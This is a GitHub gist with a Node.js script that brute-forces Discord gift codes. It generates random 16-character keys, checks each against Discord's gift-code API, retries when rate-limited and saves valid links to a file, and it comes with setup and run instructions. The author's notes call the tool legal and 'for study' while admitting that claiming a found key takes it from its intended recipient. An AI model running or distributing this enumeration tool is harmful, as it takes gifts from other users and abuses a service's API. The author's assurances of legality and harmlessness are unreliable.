Skip to content

Instantly share code, notes, and snippets.

@SalatielSauer
Last active March 24, 2022 17:28
Show Gist options
  • Star 3 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save SalatielSauer/a0d9df2cd3b16bb90acf9d06e357a4bf to your computer and use it in GitHub Desktop.
Save SalatielSauer/a0d9df2cd3b16bb90acf9d06e357a4bf to your computer and use it in GitHub Desktop.
NodeJS for mining Discord Gift keys.
//by @SalatielSauer
//Version: 21/12/2018
var request = require("request");
var counter = 0;
var letras = [
"a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", 'p', "q", "r", "s", "t", "u", "v", "w", "x", "y", "z",
"A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", 'P', "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z",
"1", "2", "3", "4", "5", "6", "7", "8", "9", "0"
];
var fs = require("fs");
fs.writeFile('genkeys.txt', "//Start \n", function(err, result) {
if(err) console.log('error', err);
});
var stream = fs.createWriteStream("genkeys.txt", {flags:'a'});
genkey();
var delaytime = 0;
var valids = 0;
function verify(key) {
var keyl = link + key;
setTimeout(function() {
request({
url: keyl,
json: true
}, function (error, response, body) {
var message = JSON.stringify(body);
// Connection issues
if (message == null){
console.log("Unverified: https://discord.gift/" + key);
console.log("could not verify the key, trying again... \n (maybe you're offline) \n ----------")
verify(key);
} else {
delaytime = 2300;
// Rate Limit
if (message.match("limited")){
console.log("Unverified: https://discord.gift/" + key);
console.log(body);
console.log("\n too fast, waiting...");
counter--
verify(key);
};
// Invalid key
if (message.match("Unknown Gift Code")){
console.log("https://discord.gift/" + key);
console.log(body);
genkey();
}
// Valid key
if (message.match("application_id")){
console.log("--------VALID KEY!--------: \n https://discord.gift/" + key + "\n--------------------------");
stream.write("https://discord.gift/" + key + "\n");
valids++
genkey();
};
counter++;
var data = new Date();
var dia = data.getDate();
var mes = data.getMonth()+1;
var ano = data.getFullYear();
var horas = data.getHours();
var minutos = data.getMinutes();
var segundos = data.getSeconds();
console.log(counter + "| " + dia + "/" + mes + "/" + ano + " | " + horas + ":" + minutos + ":" + segundos + " | Valids: " + valids + "\n -------");
};
});
}, delaytime);
};
function genkey(){
link = "https://discordapp.com/api/v6/entitlements/gift-codes/";
var finalkey = "";
for (var i = 0; i <= 15; i++) {
var rnd = letras[Math.floor(Math.random() * letras.length)];
finalkey = finalkey + rnd;
if (i == 15){
verify(finalkey);
finalkey = "";
};
};
};

Some Important Informations

  • This kind of mining is not illegal.
  • This is far from a "hacking script".
  • Keys are valid for a few minutes after a user action, so the chances of getting a valid one are minimal.
  • A key is generated every 2.5 seconds, it can not be less than this to avoid a "block" coming from discord api.
    • Even with this delay, sometimes the block will happen ("You are being rate limited."), but it will only last a few seconds.
  • Although not illegal, if you are lucky enough to get a valid key, be aware that someone else will have this key stolen if you claim it (and this is not cool xD).
  • Everything was done for study proposals, use at your own risk!!1

How it works

  • Generates a 16-letter combination
  • Uses discord's api to check if the url is valid
  • If the api url page contains the text "Unknown" that combination is considered invalid, and the code runs again
  • If it does not contain "Unknown" it means that that combination is somehow valid, so it is saved to a text file in the same folder as the script was run (and you will see a message on the screen).

To work you will need to have the request installed (more info: https://www.npmjs.com/package/request). And npm: https://www.npmjs.com/get-npm.

After installing npm, you can install request with the command: npm install request

To run the script is simple, just run 'node dgkminer.js' at the terminal.

Everything has been tested with Linux and Windows, using NodeJS v11.4.0 and NPM v6.4.1.

@zefir-git
Copy link

zefir-git commented Dec 6, 2020 via email

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment